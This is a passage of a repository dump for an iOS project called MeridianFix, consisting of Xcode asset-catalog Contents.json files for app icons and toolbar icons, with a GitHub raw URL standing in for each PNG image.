110 | },
111 | {
112 | "size" : "50x50",
113 | "idiom" : "ipad",
114 | "filename" : "Icon-Small-50x50@2x.png",
115 | "scale" : "2x"
116 | },
117 | {
118 | "size" : "72x72",
119 | "idiom" : "ipad",
120 | "filename" : "Icon-App-72x72@1x.png",
121 | "scale" : "1x"
122 | },
123 | {
124 | "size" : "72x72",
125 | "idiom" : "ipad",
126 | "filename" : "Icon-App-72x72@2x.png",
127 | "scale" : "2x"
128 | },
129 | {
130 | "size" : "76x76",
131 | "idiom" : "ipad",
132 | "filename" : "Icon-App-76x76@1x.png",
133 | "scale" : "1x"
134 | },
135 | {
136 | "size" : "76x76",
137 | "idiom" : "ipad",
138 | "filename" : "Icon-App-76x76@2x.png",
139 | "scale" : "2x"
140 | },
141 | {
142 | "size" : "83.5x83.5",
143 | "idiom" : "ipad",
144 | "filename" : "Icon-App-83.5x83.5@2x.png",
145 | "scale" : "2x"
146 | },
147 | {
148 | "size" : "1024x1024",
149 | "idiom" : "ios-marketing",
150 | "filename" : "ItunesArtwork@2x.png",
151 | "scale" : "1x"
152 | }
153 | ],
154 | "info" : {
155 | "version" : 1,
156 | "author" : "xcode"
157 | }
158 | }
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-20x20@1x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-20x20@1x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-20x20@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-20x20@2x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-20x20@3x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-20x20@3x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-29x29@1x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-29x29@1x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-29x29@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-29x29@2x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-29x29@3x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-29x29@3x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-40x40@1x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-40x40@1x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-40x40@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-40x40@2x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-40x40@3x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-40x40@3x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-57x57@1x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-57x57@1x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-57x57@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-57x57@2x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-60x60@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-60x60@2x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-60x60@3x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-60x60@3x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-72x72@1x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-72x72@1x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-72x72@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-72x72@2x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-76x76@1x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-76x76@1x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-76x76@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-76x76@2x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-83.5x83.5@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-83.5x83.5@2x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-Small-50x50@1x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-Small-50x50@1x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-Small-50x50@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-Small-50x50@2x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/ItunesArtwork@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/ItunesArtwork@2x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Contents.json:
--------------------------------------------------------------------------------
1 | {
2 | "images" : [
3 | {
4 | "size" : "20x20",
5 | "idiom" : "iphone",
6 | "filename" : "Icon-App-20x20@2x.png",
7 | "scale" : "2x"
8 | },
9 | {
10 | "size" : "20x20",
11 | "idiom" : "iphone",
12 | "filename" : "Icon-App-20x20@3x.png",
13 | "scale" : "3x"
14 | },
15 | {
16 | "size" : "29x29",
17 | "idiom" : "iphone",
18 | "filename" : "Icon-App-29x29@1x.png",
19 | "scale" : "1x"
20 | },
21 | {
22 | "size" : "29x29",
23 | "idiom" : "iphone",
24 | "filename" : "Icon-App-29x29@2x.png",
25 | "scale" : "2x"
26 | },
27 | {
28 | "size" : "29x29",
29 | "idiom" : "iphone",
30 | "filename" : "Icon-App-29x29@3x.png",
31 | "scale" : "3x"
32 | },
33 | {
34 | "size" : "40x40",
35 | "idiom" : "iphone",
36 | "filename" : "Icon-App-40x40@2x.png",
37 | "scale" : "2x"
38 | },
39 | {
40 | "size" : "40x40",
41 | "idiom" : "iphone",
42 | "filename" : "Icon-App-40x40@3x.png",
43 | "scale" : "3x"
44 | },
45 | {
46 | "size" : "57x57",
47 | "idiom" : "iphone",
48 | "filename" : "Icon-App-57x57@1x.png",
49 | "scale" : "1x"
50 | },
51 | {
52 | "size" : "57x57",
53 | "idiom" : "iphone",
54 | "filename" : "Icon-App-57x57@2x.png",
55 | "scale" : "2x"
56 | },
57 | {
58 | "size" : "60x60",
59 | "idiom" : "iphone",
60 | "filename" : "Icon-App-60x60@2x.png",
61 | "scale" : "2x"
62 | },
63 | {
64 | "size" : "60x60",
65 | "idiom" : "iphone",
66 | "filename" : "Icon-App-60x60@3x.png",
67 | "scale" : "3x"
68 | },
69 | {
70 | "size" : "20x20",
71 | "idiom" : "ipad",
72 | "filename" : "Icon-App-20x20@1x.png",
73 | "scale" : "1x"
74 | },
75 | {
76 | "size" : "20x20",
77 | "idiom" : "ipad",
78 | "filename" : "Icon-App-20x20@2x.png",
79 | "scale" : "2x"
80 | },
81 | {
82 | "size" : "29x29",
83 | "idiom" : "ipad",
84 | "filename" : "Icon-App-29x29@1x.png",
85 | "scale" : "1x"
86 | },
87 | {
88 | "size" : "29x29",
89 | "idiom" : "ipad",
90 | "filename" : "Icon-App-29x29@2x.png",
91 | "scale" : "2x"
92 | },
93 | {
94 | "size" : "40x40",
95 | "idiom" : "ipad",
96 | "filename" : "Icon-App-40x40@1x.png",
97 | "scale" : "1x"
98 | },
99 | {
100 | "size" : "40x40",
101 | "idiom" : "ipad",
102 | "filename" : "Icon-App-40x40@2x.png",
103 | "scale" : "2x"
104 | },
105 | {
106 | "size" : "50x50",
107 | "idiom" : "ipad",
108 | "filename" : "Icon-Small-50x50@1x.png",
109 | "scale" : "1x"
110 | },
111 | {
112 | "size" : "50x50",
113 | "idiom" : "ipad",
114 | "filename" : "Icon-Small-50x50@2x.png",
115 | "scale" : "2x"
116 | },
117 | {
118 | "size" : "72x72",
119 | "idiom" : "ipad",
120 | "filename" : "Icon-App-72x72@1x.png",
121 | "scale" : "1x"
122 | },
123 | {
124 | "size" : "72x72",
125 | "idiom" : "ipad",
126 | "filename" : "Icon-App-72x72@2x.png",
127 | "scale" : "2x"
128 | },
129 | {
130 | "size" : "76x76",
131 | "idiom" : "ipad",
132 | "filename" : "Icon-App-76x76@1x.png",
133 | "scale" : "1x"
134 | },
135 | {
136 | "size" : "76x76",
137 | "idiom" : "ipad",
138 | "filename" : "Icon-App-76x76@2x.png",
139 | "scale" : "2x"
140 | },
141 | {
142 | "size" : "83.5x83.5",
143 | "idiom" : "ipad",
144 | "filename" : "Icon-App-83.5x83.5@2x.png",
145 | "scale" : "2x"
146 | },
147 | {
148 | "size" : "1024x1024",
149 | "idiom" : "ios-marketing",
150 | "filename" : "ItunesArtwork@2x.png",
151 | "scale" : "1x"
152 | }
153 | ],
154 | "info" : {
155 | "version" : 1,
156 | "author" : "xcode"
157 | }
158 | }
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-20x20@1x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-20x20@1x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-20x20@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-20x20@2x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-20x20@3x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-20x20@3x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-29x29@1x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-29x29@1x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-29x29@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-29x29@2x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-29x29@3x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-29x29@3x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-40x40@1x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-40x40@1x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-40x40@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-40x40@2x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-40x40@3x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-40x40@3x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-57x57@1x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-57x57@1x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-57x57@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-57x57@2x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-60x60@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-60x60@2x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-60x60@3x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-60x60@3x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-72x72@1x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-72x72@1x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-72x72@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-72x72@2x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-76x76@1x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-76x76@1x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-76x76@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-76x76@2x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-83.5x83.5@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-83.5x83.5@2x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-Small-50x50@1x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-Small-50x50@1x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-Small-50x50@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-Small-50x50@2x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/ItunesArtwork@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/ItunesArtwork@2x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/Contents.json:
--------------------------------------------------------------------------------
1 | {
2 | "info" : {
3 | "version" : 1,
4 | "author" : "xcode"
5 | }
6 | }
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/Icons/Contents.json:
--------------------------------------------------------------------------------
1 | {
2 | "info" : {
3 | "version" : 1,
4 | "author" : "xcode"
5 | }
6 | }
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/Icons/archive.imageset/Contents.json:
--------------------------------------------------------------------------------
1 | {
2 | "images" : [
3 | {
4 | "idiom" : "universal",
5 | "scale" : "1x"
6 | },
7 | {
8 | "idiom" : "universal",
9 | "filename" : "archive@2x.png",
10 | "scale" : "2x"
11 | },
12 | {
13 | "idiom" : "universal",
14 | "filename" : "archive@3x.png",
15 | "scale" : "3x"
16 | }
17 | ],
18 | "info" : {
19 | "version" : 1,
20 | "author" : "xcode"
21 | },
22 | "properties" : {
23 | "template-rendering-intent" : "template"
24 | }
25 | }
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/Icons/archive.imageset/archive@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/archive.imageset/archive@2x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/Icons/archive.imageset/archive@3x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/archive.imageset/archive@3x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/Icons/console.imageset/Contents.json:
--------------------------------------------------------------------------------
1 | {
2 | "images" : [
3 | {
4 | "idiom" : "universal",
5 | "scale" : "1x"
6 | },
7 | {
8 | "idiom" : "universal",
9 | "filename" : "console@2x.png",
10 | "scale" : "2x"
11 | },
12 | {
13 | "idiom" : "universal",
14 | "filename" : "console@3x.png",
15 | "scale" : "3x"
16 | }
17 | ],
18 | "info" : {
19 | "version" : 1,
20 | "author" : "xcode"
21 | },
22 | "properties" : {
23 | "template-rendering-intent" : "template"
24 | }
25 | }
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/Icons/console.imageset/console@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/console.imageset/console@2x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/Icons/console.imageset/console@3x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/console.imageset/console@3x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/Icons/gears.imageset/Contents.json:
--------------------------------------------------------------------------------
1 | {
2 | "images" : [
3 | {
4 | "idiom" : "universal",
5 | "scale" : "1x"
6 | },
7 | {
8 | "idiom" : "universal",
9 | "filename" : "gears@2x.png",
10 | "scale" : "2x"
11 | },
12 | {
13 | "idiom" : "universal",
14 | "filename" : "gears@3x.png",
15 | "scale" : "3x"
16 | }
17 | ],
18 | "info" : {
19 | "version" : 1,
20 | "author" : "xcode"
21 | },
22 | "properties" : {
23 | "template-rendering-intent" : "template"
24 | }
25 | }
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/Icons/gears.imageset/gears@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/gears.imageset/gears@2x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/Icons/gears.imageset/gears@3x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/gears.imageset/gears@3x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/Icons/hammer.imageset/Contents.json:
--------------------------------------------------------------------------------
1 | {
2 | "images" : [
3 | {
4 | "idiom" : "universal",
5 | "scale" : "1x"
6 | },
7 | {
8 | "idiom" : "universal",
9 | "filename" : "hammer@2x.png",
10 | "scale" : "2x"
11 | },
12 | {
13 | "idiom" : "universal",
14 | "filename" : "hammer@3x.png",
15 | "scale" : "3x"
16 | }
17 | ],
18 | "info" : {
19 | "version" : 1,
20 | "author" : "xcode"
21 | },
22 | "properties" : {
23 | "template-rendering-intent" : "template"
24 | }
25 | }
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/Icons/hammer.imageset/hammer@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/hammer.imageset/hammer@2x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/Icons/hammer.imageset/hammer@3x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/hammer.imageset/hammer@3x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/Icons/handshake.imageset/Contents.json:
--------------------------------------------------------------------------------
1 | {
2 | "images" : [
3 | {
4 | "idiom" : "universal",
5 | "scale" : "1x"
6 | },
7 | {
8 | "idiom" : "universal",
9 | "filename" : "handshake@2x.png",
10 | "scale" : "2x"
11 | },
12 | {
13 | "idiom" : "universal",
14 | "filename" : "handshake@3x.png",
15 | "scale" : "3x"
16 | }
17 | ],
18 | "info" : {
19 | "version" : 1,
20 | "author" : "xcode"
21 | },
22 | "properties" : {
23 | "template-rendering-intent" : "template"
24 | }
25 | }
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/Icons/handshake.imageset/handshake@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/handshake.imageset/handshake@2x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/Icons/handshake.imageset/handshake@3x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/handshake.imageset/handshake@3x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/Icons/jail.imageset/Contents.json:
--------------------------------------------------------------------------------
1 | {
2 | "images" : [
3 | {
4 | "idiom" : "universal",
5 | "scale" : "1x"
6 | },
7 | {
8 | "idiom" : "universal",
9 | "filename" : "jail@2x.png",
10 | "scale" : "2x"
11 | },
12 | {
13 | "idiom" : "universal",
14 | "filename" : "jail@3x.png",
15 | "scale" : "3x"
16 | }
17 | ],
18 | "info" : {
19 | "version" : 1,
20 | "author" : "xcode"
21 | },
22 | "properties" : {
23 | "template-rendering-intent" : "template"
24 | }
25 | }
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/Icons/jail.imageset/jail@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/jail.imageset/jail@2x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/Icons/jail.imageset/jail@3x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/jail.imageset/jail@3x.png
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/Icons/ladybug.imageset/Contents.json:
--------------------------------------------------------------------------------
1 | {
2 | "images" : [
3 | {
4 | "idiom" : "universal",
5 | "scale" : "1x"
6 | },
7 | {
8 | "idiom" : "universal",
9 | "filename" : "ladybug@2x.png",
10 | "scale" : "2x"
11 | },
12 | {
13 | "idiom" : "universal",
14 | "filename" : "ladybug@3x.png",
15 | "scale" : "3x"
16 | }
17 | ],
18 | "info" : {
19 | "version" : 1,
20 | "author" : "xcode"
21 | },
22 | "properties" : {
23 | "template-rendering-intent" : "template"
24 | }
25 | }
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/Icons/ladybug.imageset/ladybug@2x.png:
--------------------------------------------------------------------------------
